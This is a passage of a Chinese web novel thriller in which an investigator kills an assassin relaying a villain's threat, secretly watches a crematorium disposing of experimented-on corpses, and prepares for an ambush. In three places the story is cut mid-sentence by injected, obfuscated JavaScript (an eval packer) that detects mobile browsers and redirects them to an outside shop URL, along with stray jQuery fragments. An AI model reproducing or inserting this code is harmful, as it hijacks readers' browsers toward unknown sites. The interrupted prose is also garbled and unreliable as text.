这次,握在一起的手停得更久。 向步青的笑多了几分真诚。 和正直又聪明的人打交道真是再轻松不过了,要是监管局里都是这样的同事,她的日子该不知道有多舒心。 燕逸岫在地下城待到入夜才离开回到地面,打算趁夜去殡仪馆一趟。 红鸦是负责收集尸体的人,肯定与不少殡仪馆有接触。 而目前正好有一个可行的切入点。 只要查查梁羲瑞的社交圈搜索她的哪位同学在前段时间过世,就能锁定对应的可疑殡仪馆了。 燕逸岫走出地下城,没一会儿接到了卫崧的电话。 “逸岫姐,你要去哪儿?我在你右后方。” 燕逸岫转身环顾四周,目光定在了不远处在等红绿灯的其中一辆车。 里面的人探出半个脑袋,正挥臂朝她招手。 “看见了,快缩回去坐好吧,你怎么还在外面?” “被医生喊回去换药复查了,又留下来陪陪天诺,正打算回家,就瞧见你了。” “回家?” “嗯,也该回去收拾收拾了,估计一屋子灰尘。” 说话间,绿灯亮起,无数车穿梭街道,带着一阵阵混浊的热风。 卫崧乘坐的车则停在她面前,负责保护他的另一位警员也探身出来对她笑笑打招呼。 “我还要去别的地方,正好顺路,一起过去吧?车费我会a给你。”燕逸岫挂掉电话说道。 倒不是她突然变异社牛发作,也不是担心卫崧睹物思人情绪崩溃会出什么事,而是察觉到有人在附近。 在卫崧停在她身边时,一道视线随之出现,在她身上徘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068349|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徊。 似乎是跟踪卫崧的。 真是没完没了了,燕逸岫假装捂嘴咳嗽几声,将口罩稍稍往上抵固定好,克制住翻白眼的冲动。 本来大半夜查案就烦。 她不能冷不丁说出真实情况要他们改变行动计划,以免这不同寻常的警觉会让跟踪者发现端倪。 所以她便决定和卫崧同行,不管出什么状况都方便及时应对。 “这有什么的,不用不用。”卫崧赶紧打开车门让她进来。 燕逸岫马上坐进车里。 后座坐了三个人,加上警员挪出的空间不够大,便稍稍有些挤,卫崧和燕逸岫胳膊也因此贴在一起。 车子再次启动后,卫崧才后知后觉反应过来,顿时有些不好意思。 他长这么大似乎还没有和女生挨得这么近。 他闻得到那股熟悉的冷冽淡香,感受得到胳膊上覆着的皮肤触感,还有像流水一样悄然浸染过来的体温。 是温热的,是真实的,是活生生的人。 之前的事总让卫崧多想。 不管是在走廊狂奔时,还是两人在安全屋里独处时,他似乎一直没有感觉到燕逸岫的气息。 哪怕离得很近,也感受不到她的呼吸拂到自己皮肤上。 燕逸岫抓着他的胳膊逃跑时,那只手也是凉冰冰的,没有什么温度。 还有她迅敏轻盈的行动,超乎正常人的平淡情绪。 种种特殊,让他有时候觉得燕逸岫像是无情感的鬼魂,仿佛会在某一天突然消失,从这个世界消失,再也见不到。 他忍不住怀疑这一切是不是都是自己的一场梦。 说不定其实他早就死在山里,死在凶手的枪口下了,这往后的一切不过是他在黄泉路上为了弥补遗憾而生出的梦而已。 今天触及她胳膊的温度,才觉得那股虚虚飘浮的不安情绪落到心底稳定住。 他是真的活下来了,燕逸岫也是真的人,不是幻想出的幽魂,不会凭空消失离去。 卫崧不知道自己的思绪游了多久才重新归家,回神望着窗外才惊觉这不是回家的路。 “欸,等等…….这不是……” 话还没说完,车子就发出一声巨响,自行停住了。 上一刻,燕逸岫眼尖看到一颗子弹飞进来,精准射穿无人驾驶的核心芯片,使车子瞬间报废。 接着,一道黑影骤然出现在前方不远处。 车里空间狭窄,绝不是躲避的好地方,必须先出去,才能化被动为主动。 燕逸岫打开车门,把卫崧也拽出来,抬臂将他拦到身后保护。 黑衣人没有拿武器,而是指了指自己打开的虚拟屏幕,以此示意。 一个有些熟悉的声音从屏幕那段传出。 “现在应该可以称呼你为老朋友了吧?” 燕逸岫呼吸一顿,有些错愕地拧眉。 反派居然又主动冒出来了,这回是借杀手的芯片与她们通话。 “本来只是想和可怜的卫崧叙叙旧的,没想到你会半路出现,所以我就改主意了。” “难得能碰上你,当然得先和你聊一聊。” 燕逸岫不说话,等着他继续。 “我也不忍心和你们这些有特殊能力的人斗个你死我活,多累啊,有这个能力用在别的地方岂不是更好?” 燕逸岫仍然沉默。 她担心对方是在偷摸套什么话,生怕自己多说多错,干脆闭口不答。 “所以我盘算盘算,应该给你们选择的机会才比较公平,也对我公平。” 他的声音转低,慢悠悠抛出所谓的两个选择。 “选择保护无辜民众,还是选择咬紧我不放?” “预告的八月表演还没开始,如果你们继续妨碍我,我不介意多搞出几场七月八月的盛况,怎么样?” 提起山火事件,卫崧瞬间恍若重回当时的火海血河,呼吸间全是发烫烟雾的刺鼻气味。 他嘴唇咬得发白,攥紧拳头,死死盯住那块蓝幽幽的屏幕。 反派的声音在深夜里飘荡,一个个惊悚的字眼攀附在人耳边,寒凉渗骨。 “让我每个月顺利杀掉一个该死的人,还是说,非要激怒我去屠杀成百上千的无辜之人。” “你们要怎么选?” 73. 同生的仙人掌 燕逸岫静静听着,唯一露出的双眼毫无波澜。 “说完了吗?” 反派停顿一秒,嗓音带笑:“说完了,所以你的选......” 剩下的字句还没出口,就彻底湮没于枪声中。 燕逸岫二话不说直接从背后抽出枪上膛朝杀手的手腕射击。 转瞬之间芯片被销毁,通讯切断。 下一秒她再抬臂给还没反应过来的杀手补了一枪,直穿眉心。 杀手连吃痛的喊声都没来得及发出,就砰然倒地,没了气息。 从远方飘来的风吹散萦绕空中的枪声余音,让四周重归寂静。 危险解除,警员立刻走到一边打电话汇报突发情况。 燕逸岫把被吹得乱飞的短发别到耳后固定,转头看向愣在原地的卫崧。 几撮刘海半遮着眼,将其中浮起的暗暗的冷淡分割成一段段。 “这就是我的选择,你也看清楚了。” “我知道你是受害人,但如果你想与凶手对抗,今后要面对的可不只是这样三言两语的心理攻击。” “如果你认为加入行动组是让你找到心灵慰藉的方式,觉得身处其中就是在报仇,那你就错了,没有那么简单的事。” “凶手知道你的存在,知道你的阴霾,往后他肯定会发现你也成为了我们之中的一员,你觉得他会让你好过吗?” “他会想尽办法一遍遍撕开你的创伤,摧毁你的意志,激怒你冲动行事,犯错露出破绽。” “不止如此,有时候我们的决定和手段也会让你回忆起痛苦。” “对方不择手段,我们也会不择手段,我们没有多余心思去顾及这样那样会不会伤害到你,再特意花时间考虑折中的办法。” 这阵突如其来的大风很快止歇,四下重归静谧,只剩燕逸岫的声音。 “你确定能扛得住这些吗?” 电视剧里为了复仇加入特殊组织的故事很刺激痛快,但那毕竟是剧本。 现实生活中不是每个人都能如愿以偿,不是每个人都能做得到。 如果没能实现期望,就又多背负了一层名为无能为力的痛苦。 “你很勇敢,如果是我,我可能陷在悲伤中踏不出这一步,说实话我一开始也不是自愿加入的。” “你的情况特殊,如果心态没能调整好,可能会在不知不觉中被反派利用,导致事情变成你不想看到的结局。” “你对凶手一无所知,而他很了解你的脆弱之处,让你崩溃简直易如反掌。” “你要和他较量,就得先一步算好,完完全全做足准备,设想无数可能会面临的身体和心理折磨,直到脱敏,直到能不受影响不动摇,不给对方任何机会攻破心防得逞。” “这个过程很痛苦,比一死了之还痛苦,这是你加入行动组必然要面对的。” “所以你考虑清楚了再做决定,如果反悔想退出也还来得及。” 燕逸岫一口气说完心中想法,便不管凝固原地的卫崧,自顾自往前大步走。 反派的威胁让她火冒三丈,连带着对卫崧语气不好,说得太重。 可没办法,这些事并非不提就可以逃避跳过,不如正好趁此机会挑明。 经历了失去亲人的深重痛苦,系统评估过他的精神比较脆弱,容易受影响。 倘若又加入行动组出生入死,经历更多危险,说不定精神状态会越来越糟糕,到时候会陷入什么境地就更难说了。 卫崧想留下来报仇,系统也选择了他,总要给他打个预防针,不管将来事态会不会演化到像自己说的那么严重。 走了几步出去,燕逸岫才意识到两人不能离太远,否则万一出什么紧急情况会赶不上挽救。 她刚准备停下来往回走,就听到卫崧动了。 他小跑着追上,尾巴似的静悄悄跟在身后。 燕逸岫这才放心不少,稍微放慢速度继续往前。 两人都没有开口,一前一后走着,错乱的脚步声逐渐融合为整齐的一道,轻轻细细隐入夜色。 为了不让反派的人跟着到卫崧家附近,燕逸岫上车后让系统暗中改了目的地。 现在车毁了,她们的位置偏离原目的地较远,没法走路抵达。 不管是警员还是卫崧,燕逸岫都不放心让他们单独行动,所以只好一起留在原地等警方支援过来处理尸体。 她走了一圈排查周围的危险,听到身后的卫崧闷闷出声:“对不起。” “跟我说什么对不起,你没对不起谁。” “我让你们忧虑,不敢信任,”卫崧说道,“我也不够强大。” 燕逸岫转身站定,但没有与他对视,而是侧了脸盯着旁边的虚空,不知道自己在看什么。 “你说得对,我一直没敢细想。”尽管对方不往这儿看,卫崧仍然直直注视她。 卫崧以为自己能扛得住,觉得仇恨的力量足够强,可以镇压其它情绪,但今晚经历了这件事,他才知道还是高估自己了。 凶手一句话就让他心神大乱,不受控制地陷入回忆阴影,注意力彻底分散。 倘若凶手就在跟前,掏出刀枪一步步慢慢走过来要杀他,他可能都没发现。 “我情绪不好,不该迁怒说重话的,不好意思,”燕逸岫抬头,任由风迎面吹开她的刘海,露出双眼,“我本意不是……” “我知道的。” 生气的燕逸岫一改平日的温吞平缓,说起话就像放鞭炮,连贯清晰又凌厉,着实让卫崧错愕得差点回不过神。 语气不好,说的话却仍然是关切的深思考量,显然不是即兴冒出的说辞。 不知道她耗费多少神思去斟酌因果,不知道这些话她憋在心里多久,今天才有机会说出来。 燕逸岫目光在虚空来回跳跃,最后随意落在了卫崧的左耳垂上,勉强算是和他对视。 “我没有催促你的意思,我们最初都是一点点自己摸索,慢慢来没问题的,但不能不做准备。” “我明白了,谢谢你,逸岫。” 卫崧也不傻,他对自己的定位很清楚,他知道系统选他有一半是利用,甚至是大半,所以他早就做好赴死的准备了。 但他没想到燕逸岫会说这些话。 她还希望他做好面对活得痛苦的准备。 自伤自愈,才不会被伤被毁,变成凶手可以随心操控情绪戏耍的可怜幸存者。 ……明明没有必要考虑这么多的,明明只要纯粹利用就够了。 队伍里其她人怎么想他暂且看不出,但从这些话里,卫崧感受到燕逸岫已经真心把他归入并肩作战的队友行列了,甚至连未来可能如何都先替他仔细设想过无数遍。 他猛地低下头,半眯起眼,忍住眼眶发酸的热意。 这股温度消退回去,又随着血液奔流,汇聚到心脏。 路灯的暗橘色灯光投下来铺满地面,将两人半重合的影子拉长,像沙漠里同生的两株仙人掌。 说话间,最近的警察局已经派车来接她们了。 燕逸岫挥手示意他往回走:“要不我陪你回去?收拾完就马上回基地住吧。” 卫崧摇摇头:“你不是还要去忙别的事吗?快去吧,早点办完早点回家休息。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085319|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕逸岫迟疑片刻。 “你们不可能永远留在我周围,我总得自己面对,学着自己处理麻烦。放心吧,我收拾完就回去,会给你发信息报平安的。” “那好吧,你自己多小心。” 分别后,燕逸岫来到火化梁羲瑞朋友遗体的殡仪馆外。 一阵诡异的细碎声音从里面传出,传进她耳中,惊悚得令人汗毛倒竖。 这家殡仪馆,深夜还在火化。 燕逸岫抓紧时间翻窗潜入去看看怎么回事。 她循声摸索进入火化间后,发现里面只有机器在运转,不见人影。 但很快就有人来了。 燕逸岫还没来得及细查,只好先找个地方躲起来。 当然不能钻火化炉里,万一对方正好把这个炉子也一开,就能直接把她送走了。 她刚藏好,两个人就并肩走了进来。 “今天那个货好,红鸦肯定满意,不知道什么时候来取。” “记得扫干净,可千万别像上次那样,混进骨灰里跟着哪个家属走了。” 年轻的声音连连答应,再三保证不会犯这种低级错误了。 一阵窸窣声后,第三台火化炉开始运作。 “话说刘哥,你有看到我们今天下午拉来的那具尸体吗?” “没看,怎么了?” 年轻的声音嘶嘶抽了几口气,才压低声音把话说出来,大概是想起了某些不好的画面,音调也跟着抖了几下。 “老可怕了,那尸体身上全是红血丝绿血丝,太不正常了吧,想起来我就浑身发凉,哎哟怎么办我晚上还要一个人回家呢。” 浑厚的声音不屑冷哼:“行了,别说了,自己吓自己,难不成你觉得这是什么灵异事件?” “都说了,那只是做实验,他们在为医学做贡献,是很神圣的事,你少在那讲闲话。” 火化需要不少时间,干等着也无聊,那两人便暂时离开了这里去处理别的事物。 听着脚步声越走越远,燕逸岫便从藏身处钻出来,在屋里走了几圈观察环境。 火化开启的红色提示灯跳动着火一样的光,宛如也在燃烧。 尸体的古怪让燕逸岫深感疑惑。 用人做实验的故事或真实案例不稀罕,她多多少少在影视剧里瞧见过,但一般来说也是用活人,但天祐却不同寻常,盗尸用死人来做实验。 这些被焚烧的尸体大概是天祐研究院自己不好处理才暗中送来殡仪馆火化,消灭证据。 全身都是红血丝绿血丝,连抛尸喂野狼都不敢,燕逸岫都想象不到尸体体内是带有多毒多可怕的物质。 火化完成后,那两人急匆匆把骨灰收集起来,分别装进小罐子里,再带着罐子像护着什么宝贝似的离开了。 屋里再次变得安静。 机会来了。 英雄瞅着时机蹑手蹑脚再次钻出来,这回她摸索着打开火化炉,从没清理干净的边边角角搜集出一小袋碎骨粉末。 装完一袋,她又控制着力道把骨灰抖回去了点,小心地吹气铺平,用其覆盖自己手指留下的痕迹。 很快那两人去而复返,闲聊着继续把剩下的尸体陆续送进去火化。 这时燕逸岫的“宙”提示她接收到新消息。 她将屏幕亮度调到最低才打开,边关注忙于火化的那两人边扫视信息内容。 一串杂乱无章的数字字母映入眼帘。 这是她和是曾琼瑾联络用的暗号。 燕逸岫快速根据背在心里的解码公式套入推导,得到了答案。 “他联系我了,明天行动,目标是你。” 74. 焚化炉里的声音 燕逸岫早就料到如此,只不过没想到会这么快。 今晚刚做出了他不满意的选择,第二天就准备要解决掉她了。 反派对她的行动路线这么清楚?她的身份已经暴露了? 天天在外面跑,能瞒这么久已经超出燕逸岫期望了,所以她没觉得太紧张焦虑。 她简单回复一句,就收起屏幕先专心关注眼下的情况。 燕逸岫将微系统的录像功能切换到肉眼跟随,然后小心翼翼拨开遮挡物露出一条缝,拍摄外面的场景。 这份录像资料是要上传共享的,所以她得控制住不使用异能随意放大缩小视线,保持固定的拍摄角度和距离。 她录下那两人的容貌和行动,还有一旁横七竖八的推车上的裹尸袋。 加上已经进炉子里的,他们今天有八具尸体要火化。 他们没有拆开袋子,而是连人加袋一起推进去,像是害怕看到尸体恐怖的样子。 裹尸袋的形状并不全都正常,有的特别膨胀,圆鼓鼓一整个近似圆柱,有的则凹凸不平,崎岖得像连绵起伏的小山丘。 燕逸岫不禁对里面究竟是什么样的光景感到好奇,不过她是没有机会知道了。 大概是太安静了,年纪轻的那人受不了沉闷,忍不住又开始絮絮叨叨。 “我实在是好奇,那些人究竟在研究什么药啊?需要这么多尸体,而且还最后还弄得这么吓人。” “会不会是什么能把人搞变异的药?” “哎,刘哥,你说难不成会是什么起死回生的仙丹?我寻思像是这个,之前的新闻发布会不是闹得沸沸扬扬嘛。” 一位知名的商界富豪因为女儿意外去世而悲痛不已,于是她举办了一场盛大的新闻发布会,“悬赏”科研界的精英天才。 她希望有人能为她研究出起死回生的药物或医疗仪器复活孩子。 她会支付所有的研究经费,研制成功之后也会给予研发者一大笔丰厚的报酬。 这笔报酬的数字让人震撼不已,后面缀的一长串0让人数得头晕。 当然,不是什么人都能来掺和一脚骗钱的。 富豪称有意向的人必须提供一份包含方向、理论、方案等的详尽可信的研究报告让她过目,她觉得有希望才会投入资金支持项目。 在起死回生药成功问世之前,她将妥善保存好女儿的遗体不处理,和女儿一起等待那一天的到来。 这是发生在燕逸岫这几个2队成员穿越过来之前的事情,所以她们只能从新闻或是网络上的帖子里了解详情。 燕逸岫当时也数了那串数字,越数眼睛瞪得越大。 这笔钱要是给她,她从元谋人时期开始花都挥霍不完。 时隔几月,这件事情还是有不少人聊起,觉得这位富豪因经受丧女之痛而疯魔了,居然会想这种天方夜谭的事情。 人死如灯灭,身体一切机能都已经无法运作,不可逆转地消亡,怎么可能起死回生? 刚死不久的说不定还可以用特殊办法刺激,可复杂药物研究都是以年为单位起步的,遗体哪经得起几年十几年的等待? 母女之情固然感人,但这实在是痴人说梦。 燕逸岫记得自己第一次刷到关于这件事的讨论时也思考过一阵子,怎么也想象不出成功的结局。 不过这里是她之前想都没想过的高科技世界,有什么不可能的? 随着技术不断突破发展,必然会有更多新事物出现,连和真人无差别的仿生人昆隐棋都被研究出来了,谁知道还会不会有比这更神奇的研究成果。 只要活得够久,说不定就能亲眼见证史诗级的科技突破。 声音浑厚的刘哥没好气地嗤笑:“如果她们真是在研究这个,那我只能说这群人也是疯了,为了天价报酬做无用功浪费时间。” “都是有钱人的游戏罢了,我们有什么好关注的?就算真有这种药被研究出来,你觉得跟我们有关系吗?” “我们能买到这种神药救自己想救的人吗?” “而且就算真能起死回生,她还是她吗?她还是原来的那个人吗?她会记得自己第一次生命里的所有事情吗?” “关心有钱人在折腾什么才是浪费我们的时间,还是赶紧好好工作,从有钱人口袋里多掏点钱回来让自己过得好点吧。” 小年轻觉得有理:“唉,说得也是啊,怎么想都觉得不可能,天方夜谭。” 仿佛是在回应这句话似的,其中一个焚化炉里突然传出一声闷响,像是有人在敲墙壁。 那俩人还有燕逸岫都顿时倒吸一口凉气。 虽说火化过程中尸体发生抖动或是发出声音都属于正常的现象,但在他们讨论相关话题的时候出了点动静着实还是让人有些害怕。 刘哥也意识到自己有一点失态,清了清嗓子恢复正常:“好了,别再说这些了,赶紧的,我们……” 他的说话声很快就又被打断了。 火化炉里的闷响骤然变得尖锐,断断续续,像是一阵尖利的笑声。 这道恐怖的声音在屋里回荡,刺穿每个人的鼓膜,让人觉得浑身发冷,阴气缭绕。 “刘、刘哥,这不太对劲吧?不会真闹鬼了吧?” 年轻的工作人员吓得两腿发抖,连连后退,抄起桌上的东西用来防身。 躲在暗处的燕逸岫也有些惊愣,她用力眨眨眼,确定自己不是在做梦。 难不成天祐研究院那群人真的是在研究什么起死回生的科技? 相信科学的燕逸岫一会儿怀疑一会儿否定,忍不住越想越多,觉得自己也快魔怔了。 诡异的笑声在屋里持续飘荡。 “我呸!少唬人。” 刘哥回过神,壮起胆子走向火化炉,把机器暂停,点击其它开关进行降温。 “我倒要看看是什么情况。” 快速降到合适的温度后,刘哥打开了火化炉,等待烟雾散去。 燕逸岫也悄悄地移动方位,让视野更清晰,能够看清里面的东西。 这具尸体刚放进去一会儿,烧得不够久,所以仍然是人形,但姿势十分诡异。 这并非焚烧时人体自然蜷缩形成的斗拳姿势,而是极其不自然的扭曲折叠,四肢骨头都被断成好几截,软绵绵弯折出不同线条形状,最后靠铁丝进行固定。 仿佛是在创造某种惊悚艺术。 “我的天!”年轻的那人眼睛都快瞪出来了,大为震撼,“她们还虐尸……” “嘘!少说几句吧你!”刘哥不耐烦地打断他,胳膊肘捅几下把他挤开。 凑近了些仔细观察,刘哥才明白那奇怪的尖利笑声是粗铁丝在焚烧过程中与四周摩擦产生的,不是什么怪事。 “吓我一跳,真的是……” 刘哥封上火化炉,重新启动继续焚烧,然后用力拍拍另一人的胳膊警告:“今天就当什么都没看见,知道吗?” “别忘了我们俩可是为了那笔钱才签的合同,万一什么字眼泄露出去让人乱猜,我们不仅要赔钱,还会丢了命!” “想也知道这不是什么干净活,不然你以为人家为什么出那么多钱雇我们?钱太多做慈善?” “所以以后少一惊一乍的,闭紧嘴,别瞎嚷嚷,我没被尸体吓死倒是快先被你吓死了。” 小年轻赶紧点头,讨好地朝他笑:“刘哥教训的是,我一定注意,一定注意。” 等他们烧完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093522|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有尸体带着骨灰离开后,燕逸岫也最后再装了一小把炉子边角残留的骨灰,封好装进口袋里。 这时微系统里弹出卫崧发来的信息。 “我收拾完了,已经坐系统的车回基地了,有注意一路切换和躲藏。你那边顺利吧?” “顺利,你早点休息。” 燕逸岫将车费和回复一起发过去,关掉屏幕继续行动。 她悄悄离开火化间,避开监控翻窗出去。 见那两人是乘车出发,燕逸岫就掏出蚊型追踪机,派它尾随那两人,最后录下了他们趁夜将八个人的骨灰倒进大海消灭证据的证据。 她本想马上将收集来的骨灰送去基地保存,之后让季渊知检测看看,但想到曾琼瑾带来的讯息,又决定暂时先带回家。 不知道反派是不是已经盯住她了,今天还是暂时不冒风险多走一趟为好。 从现在开始,她必须考虑自己身份完全暴露的情况,今后无论任何行动都要更加谨慎,不连累队友,不暴露秘密基地。 以及得多想出几个备用方案应对可能的突发状况。 燕逸岫思绪持续高速运转着,没有丝毫困倦。 睡前她又复盘了一遍今天在地下城的活动。 和阿连的往来很平稳顺利,只要把握好分寸继续接触,将来就能慢慢搜集更多线索。 阿连不止是炎穆帮的成员,还有另一层身份,挖出来就能进一步了解天祐研究院在与谁交易,以及双方交易的目的。 几个小时前,阿连教完燕逸岫使用另一型号的手枪,就问起了入帮的进展。 提起这个,燕逸岫瞬间垂头丧气,摇摇头。 “没动静,看来是不打算接受我了。” “不应该啊,要不我们再问问?” “算了吧,何必自找没趣。” 燕逸岫说自己也是因为和阿七熟悉才想着加入她所在的帮派。 如果老大对她不感兴趣,她或许会去别的帮派混混玩,当然也可能不再考虑这些,回去老老实实待在学校。 阿连打趣道:“别呀,要是去了别的帮派,那咱们以后不就变成敌人了?我可不想挨你揍。” 燕逸岫笑得弯腰:“什么话,那我当然是去和你们没有冲突的帮派,我可不是白眼狼。” “就算真的不巧,两个帮派打起来了,我也不会掺和进去和你们对立的。” 她状似漫不经心搭着话,低着头笨拙摆弄手里的新枪。 两边的头发垂下来遮住了脸,燕逸岫稍稍甩头调整,露出一点缝隙,从发间缝隙偷瞄对方。 阿连听着她的话也无意识低头,眼珠子小幅度来回转着,一副若有所思的模样。 燕逸岫收回视线,举枪瞄准远处靶子的边缘,嘴角扯出微小的弧度,随即开枪。 子弹击穿照片没入墙壁中,照片上的人脸瞬间变成边缘焦黑的黑洞。 坐在灯光下的人影把玩着手里的枪,喉咙里哼出低缓的曲调。 他一遍遍回忆不久前的场景,手指叩着枪管打节拍。 选几个人死还是一群人死? 而她甚至懒得开口,直接开枪崩了芯片,黑屏和断联清清楚楚表明了她的态度。 和叛徒昆隐棋一样,都是不识趣的家伙,偏偏要和自己对着干。 他想着这些,嘴里哼的音调逐渐低了几度,化为冷笑,眼角的痣跟着微微晃动。 既然偏要选择无路可退的对抗,他当然奉陪到底,看谁才能赢到最后。 他再次伸直手臂,枪口瞄准对面的墙,接连扣动扳机,四张照片上的四张人脸随之变成一个个弹孔,烟雾粉尘飞扬。 “明天见,自讨苦吃的朋友们。” 75. 分散各处,齐陷险境,自顾不暇 “棋棋,这些年你过得好吗?” 在一片幽暗寂静中,女孩的嗓音隐约浮动。 好像还有什么声音在那背后,是啜泣吗? 越来越近,越来越大声,她已经快要听清了。 姐姐,你还想说什么—— 尖锐清晰的鸣笛声遽然穿耳而过,震破虚幻深渊。 站在街边的昆隐棋随之回神,目光重新聚焦,望着来来往往的每一个人每一张脸。 她又低头看“宙”中那条她已经翻来覆去读了千千万万遍的讯息。 棋棋,这些年你过得好吗? 她到现在都还没有回复。 理智告诉她,这只不过是“礼拜”想要抓住她所耍的另一个诡计,可感性又让她忍不住幻想这会不会真的就是姐姐发来的。 姐姐还记得她吗?姐姐愿意与她相见了吗? 昆隐棋再次看向满街来来往往的行人,深黑瞳孔微不可察地匀速颤动着,收集每一个人的特征数据存档,化为可供自己利用的素材。 大声打电话的,和朋友说说笑笑的,戴口罩的短发女生,行动缓慢的佝偻老人,蹦蹦跳跳的小孩,一脸严肃谈着公事的打工人。 昆隐朝会不会和自己一样,隐藏真面目混在人群中?她们两人会不会曾经在什么地方擦肩而过? 燕逸岫与一位中年妇女擦肩而过。 街边一家新店有开业福利,不少人来凑热闹,聚在这一片区域,嘈杂说笑和各种气味揉作一团,积结难散。 燕逸岫顺着人流挪动,小心地侧过肩不撞到路人,继续往前走。 她今天照常出门行动,将情况告诉队友提前通了气。 如果她在这关头突然做出异常举止,反派那么精明的人很可能就会怀疑是曾琼瑾的问题。 彭嵘说过反派都是当天布置任务,所以她得等曾琼瑾第二次回复才能知道更详细的行动计划。 既要保命,又不能害曾琼瑾暴露,更不能反击威胁到她的性命。 在紧凑的时间里想出兼顾三者的对策对她来说颇有挑战性,她盘算了一整宿,快要头痛发作。 至少现在有了心理准备,好歹不会自乱阵脚。 燕逸岫寻思自己到时候得故意受点伤再逃脱,才能不让反派起疑心。 今天她打算先去昆隐棋别墅一趟,走走这条摆在明面的线。 地下城以及天祐研究院的暗查任务暂时搁置,等今天的事解决完再说。 如今她们对昆隐棋身份有了新的猜测,范围缩小,寻找线索便更有针对性,再去一趟说不定会有新发现。 对于昆隐棋而言很重要的东西,除了与姐姐有关的,现在想来也可能是和她仿生体本身机能有关系的。 燕逸岫抱起双臂缩小与人触碰的范围,低着头往前走,心想不知道什么时候才能找到昆隐棋解开全部谜题。 殊不知刚刚她与之擦肩而过的中年妇女正是她一直惦记的仿生人。 两人在互不知情时已经打过照面了。 昆隐棋别墅仍然有警方机器人严加值守,保护里头的所有证物。 燕逸岫出示自己的身份证明,又刷了芯片验证,顺利进入别墅。 这栋房子是大门大窗多窗的通透设计,所以白天格外亮堂。 随便走几步或是移动了物品就能看清带起的细小尘埃,精灵似的飘浮于空中,在阳光下熠熠生辉。 燕逸岫后退避开厚重灰尘纷纷扬扬的地方等了几秒,打开录像开始从头查起。 这一趟她要着重搜查芯片之类的有关数据的物件。 直至天黑,燕逸岫终于等到了曾琼瑾发来的一大篇新暗号情报。 反派给了曾琼瑾一个假身份,一份有关炎穆帮的假情报。 她只要出现在燕逸岫附近,假装不经意地暴露些许线索,把燕逸岫一步步引到指定地点,任务就完成了。 燕逸岫一字一句翻译完内容,倒是先松了口气。 只要曾琼瑾不参与到袭击行动里,事情就简单多了,不用多花心思考虑怎么不着痕迹地保下她。 至于这个陷阱,去是当然要去的。不走进陷阱里,就等不到猎人露面,就没法给对方一口反击。 燕逸岫回复了个表情就收起屏幕,心情转好,不由地哼了几个陌生音调,没想起这调子是哪里听来的。 曾琼瑾不在其中,剩下的人直接杀就行了。 她乘车将自己搜出的可疑物品带回警局请专业人员进行检测,没有久留就离开了。 燕逸岫感觉得到,从她一脚踏出警局起,反派的暗杀计划就开始运转了。 那道阴鸷冰冷的目光已经在未知处牢牢瞄准了她,准备张口咬穿她的喉咙。 谭誉道结束了跟踪石见微的任务,扮演散步的居民慢悠悠离开川城。 走上大街没多久,他就听见一道怯怯的声音从他身后传来。 “那个……您好,打扰一下……” 谭誉道转头,映入眼帘的是一个看起来状况不太好的女生。 她脸色苍白冷汗涔涔,衣服裤子有些皱,沾了几片脏灰,正一步步往自己面前挪。 “怎么回事?”谭誉道连忙将她扶住。 女生将自己的全部重量倾斜过去,眉头舒展一半,稍稍歇一口气。 “抱歉,我实在是撑不住了,只好问问能不能请你帮个忙……” “你说你说。” 女生抬手指了指前方不远处的小巷。 “我刚才出了个小车祸,本来以为没事,但是好像骨头裂了,现在完全走不动了,能不能麻烦你帮忙扶我过去?那里头有个诊所。” “骨头裂了怎么不去医院?”谭誉道吃惊,听着这几个字眼都觉得痛,“去诊所哪能治得好啊。” 女生苦笑着摇摇头,神情黯淡:“不行,我没钱去医院看病,工资还要过几天才发,手头的钱都补进账户里买房了。” “再等半个月左右,我就能凑齐钱定居地上,如果去医院再花一大笔钱,恐怕就不够了,我不想再回地下城。” 在这个世界生活了一年多的谭誉道自然明白住在地面是无数人的执念,但他还是忍不住皱眉:“可是……” “我就到诊所看一看,吃点止痛药,忍到发工资那天再去医院。” 巷子里的那家诊所谭誉道也有所耳闻,是出了名的便宜且良心,医生态度也好。 听说那位卓医生也是从地下城打拼上来的,悲悯心重,所以想要尽己所能地解决看病贵的难题,为大家减轻负担。 谭誉道仍然不放心,略一思索说道:“要不我打车送你去医院吧,费用我可以先垫,你后面有余钱了再还我也行,不着急。” 听到这些话,女生连连摆手,没受伤的腿后撤一步:“那怎么好意思,不了不了,就扶我走过去吧,现在实在是痛得走不动了。” 女生再三推辞固执不肯答应,谭誉道也没辙,只好听她的话,扶她慢慢走向小巷。 季渊知今天难得早早结束一阶段的实验,又尽最快速度高效率分析整理完最近汇总的数据资料,重新上传,方便队友理顺线索。 完成今日所有任务后,见时间还算早,季渊知便收拾好杂七杂八的东西,决定回家一趟。 